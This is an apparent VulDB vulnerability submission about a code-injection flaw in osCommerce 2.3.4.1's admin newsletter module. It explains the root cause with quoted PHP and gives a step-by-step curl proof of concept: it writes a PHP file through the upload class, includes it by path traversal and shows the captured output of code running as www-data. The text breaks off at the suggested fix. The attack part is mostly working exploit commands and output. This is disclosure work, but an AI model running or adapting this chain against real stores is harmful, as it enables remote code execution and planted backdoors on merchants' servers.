| Titel | osCommerce osCommerce2 2.3.4.1 Code Injection |
|---|
| Beschreibung | ## Affected Software
- Product: osCommerce Online Merchant
- Version: x.x.x.x
- Repository: https://github.com/osCommerce/oscommerce2
- Source identifier: tag `v2.3.4.1`, commit `94e9e9efe7994bf88d8ade2e64881b4bfe1745d4`
## Vulnerability Description
In the osCommerce admin Newsletter management, the `module` column of a newsletter record is used both as a PHP class name and as part of a file-include path — and the create/edit interface applies no allow-list to the `module` field. The module dropdown in the form is only a client-side constraint; any string POSTed to it is stored as-is.
Setting `module` to `upload` hijacks the upload class that the admin panel loads unconditionally: instantiating `new upload($title, $content)` turns `$title` into a multipart file-field name and `$content` into the destination directory, and the upload class places no restriction on file name or extension (the extension check is skipped entirely when no extensions are configured), so arbitrary attacker-supplied content from a multipart request is written to any writable path with mode 0777. Creating a second newsletter record whose `module` is a traversal path (e.g. `../../../backups/<filename>`) and opening its confirm page then makes the application `include()` the file the traversal resolves to — the PHP file dropped in the previous step executes, yielding server-side arbitrary code execution. The whole chain is stored and second-order: the file drop and the include trigger are separate requests, with the payload persisting both in the database (newsletters table) and on the file system.
## Root Cause
Write side — the insert/update branch of `admin/newsletters.php` stores the `module` field as-is, validating only that it is non-empty:
```php
$newsletter_module = tep_db_prepare_input($HTTP_POST_VARS['module']);
$title = tep_db_prepare_input($HTTP_POST_VARS['title']);
$content = tep_db_prepare_input($HTTP_POST_VARS['content']);
// ...
if (empty($newsletter_module)) {
$messageStack->add(ERROR_NEWSLETTER_MODULE, 'error');
$newsletter_error = true;
}
if ($newsletter_error == false) {
$sql_data_array = array('title' => $title,
'content' => $content,
'module' => $newsletter_module);
// ...
```
`tep_db_prepare_input()` is just trim + stripslashes; there is no allow-list on the `module` column — `upload`, traversal paths, anything goes into the database.
Execution side — the confirm/send/confirm_send branches include a file based on the stored `module` and instantiate it dynamically:
```php
include(DIR_WS_LANGUAGES . $language . '/modules/newsletters/' . $nInfo->module . substr($PHP_SELF, strrpos($PHP_SELF, '.')));
include(DIR_WS_MODULES . 'newsletters/' . $nInfo->module . substr($PHP_SELF, strrpos($PHP_SELF, '.')));
$module_name = $nInfo->module;
$module = new $module_name($nInfo->title, $nInfo->content);
```
`$nInfo->module` is concatenated directly after `DIR_WS_MODULES . 'newsletters/'` with no traversal filtering (a missing file only raises a Warning and does not stop execution); the same value is passed as a class name to `new`. When `module` is `upload`, the class that gets instantiated is the upload class loaded unconditionally by the admin `application_top.php`:
```php
function upload($file = '', $destination = '', $permissions = '777', $extensions = '') {
$this->set_file($file);
$this->set_destination($destination);
$this->set_permissions($permissions);
$this->set_extensions($extensions);
// ...
if ( ($this->parse() == true) && ($this->save() == true) ) {
return true;
// ...
```
The constructor uses `$title` as the file-field name (`parse()` reads `$_FILES[$this->file]`) and `$content` as the destination directory, with `$permissions` defaulting to `777`. The `save()` routine normalizes nothing about file name or directory:
```php
if (move_uploaded_file($this->file['tmp_name'], $this->destination . $this->filename)) {
chmod($this->destination . $this->filename, $this->permissions);
// ...
```
The extension check inside `parse()` only runs when `$this->extensions` is non-empty — here `new upload($title, $content)` passes no extensions, so the check is skipped entirely, and the multipart filename and body are written to disk verbatim. Combined, the two defects form a drop-then-include chain: arbitrary file write first, then the `module` column's traversal path includes the dropped `.php` file for execution.
## Proof of Concept
Log into the admin panel to obtain a session (the admin panel has no CSRF token):
```bash
curl -c admin.jar -s 'http://<target>/catalog/admin/login.php' > /dev/null
curl -c admin.jar -s -d 'username=<admin_user>&password=<admin_pass>&login=Log In' \
'http://<target>/catalog/admin/login.php?action=process' > /dev/null
```
Step 1 — create a newsletter record with `module=upload`; `title` names the multipart field and `content` the destination directory (must be writable by the web process; in the test deployment `catalog/images/` was not writable, while `backups/` — the admin panel's own working directory — was):
```bash
curl -b admin.jar -s -d 'module=upload&title=f&content=backups%2F' \
'http://<target>/catalog/admin/newsletters.php?action=insert' > /dev/null
```
Step 2 — submit a multipart file to that record's confirm action: field name `f`, filename becomes the on-disk name, and the body is a harmless echo-only payload (echo a marker, run `id`, touch a marker file). This request only drops the file; the payload does not execute:
```bash
cat > payload.php <<'EOF'
<?php echo "VDY3-vdy3oscv41c-CODE";
system("echo VDY3-vdy3oscv41c-EXEC; id; touch /tmp/VDY3-vdy3oscv41c");
?>
EOF
curl -b admin.jar -s -F '[email protected];filename=vdy3oscv41crce.php' \
'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=12' > /dev/null
```
Step 3 — create a second newsletter record whose `module` is a traversal path pointing at the dropped file (the confirm branch resolves the include from `admin/includes/modules/newsletters/`, three levels up to the admin directory):
```bash
curl -b admin.jar -s -d 'module=../../../backups/vdy3oscv41crce&title=fx&content=fy' \
'http://<target>/catalog/admin/newsletters.php?action=insert' > /dev/null
```
Step 4 — open the second record's confirm page to trigger the include; the payload executes:
```bash
curl -b admin.jar 'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=13'
```
Expected result: the response body contains `VDY3-vdy3oscv41c-CODE` (the included PHP code ran) and `VDY3-vdy3oscv41c-EXEC` plus the `id` output (`system()` ran).
### Actual output (captured in a local authorized deployment)
Both inserts returned 302 (normal create redirects, Location carrying `nID=12` and `nID=13`); the step-2 confirm returned 200 (drop completed). The execution request returned 200 with the following in the response body:
```
VDY3-vdy3oscv41c-CODEVDY3-vdy3oscv41c-EXEC
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
`uid=33(www-data)` is the `id` executed by `system()` as the web server user. (After the include completes, `new $module_name` raises a fatal because the class name contains slashes — but that happens after the payload has run and does not affect the output.)
Read-only cross-checks inside the container for the dropped files and the payload marker:
```
$ ls -la catalog/admin/backups/ | grep vdy3
-rwxrwxrwx 1 www-data www-data 32 Sep 8 10:04 vdy3oscv41cprobe.php
-rwxrwxrwx 1 www-data www-data 110 Sep 8 10:04 vdy3oscv41crce.php
$ ls -la /tmp/VDY3-vdy3oscv41c
-rw-r--r-- 1 www-data www-data 0 Sep 8 10:04 VDY3-vdy3oscv41c
```
The dropped files are mode 0777 (the upload class defaults to `$permissions='777'`); the marker file could only have been created by server-side code execution.
A read-only database query confirms both injection points persisted (the stored-type evidence):
```
newsletters_id title module content
12 f upload backups/
13 fx ../../../backups/vdy3oscv41crce fy
```
Before execution, rendering the confirm page of a record without a traversal module produced no marker output (negative control); the marker `vdy3oscv41c` was created fresh for this round, ruling out stale state.
## Impact
An authenticated admin (no CSRF protection on the admin panel) can, with four requests, write an arbitrary PHP file to any path writable by the web process and execute it: the dropped file has mode 0777 with fully attacker-controlled path, name and content, and persists as a standing backdoor; the code execution runs as the web server user (www-data), able to read and write any file and data reachable at that privilege and to reach further into the internal network. The `new $module_name` on the `module` column can additionally instantiate any loaded class, which is an extra gadget-style primitive.
## Suggested Fix
Validate the `mod |
|---|
| Quelle | ⚠️ https://github.com/osCommerce/oscommerce2/issues/676 |
|---|
| Benutzer | 360alphalab (UID 100924) |
|---|
| Einreichung | 10.09.2026 08:18 (vor 1 Monat) |
|---|
| Moderieren | 04.10.2026 15:12 (24 days later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 413428 [osCommerce osCommerce2 bis 2.3.4.1 Newsletter Management admin/newsletters.php include module erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|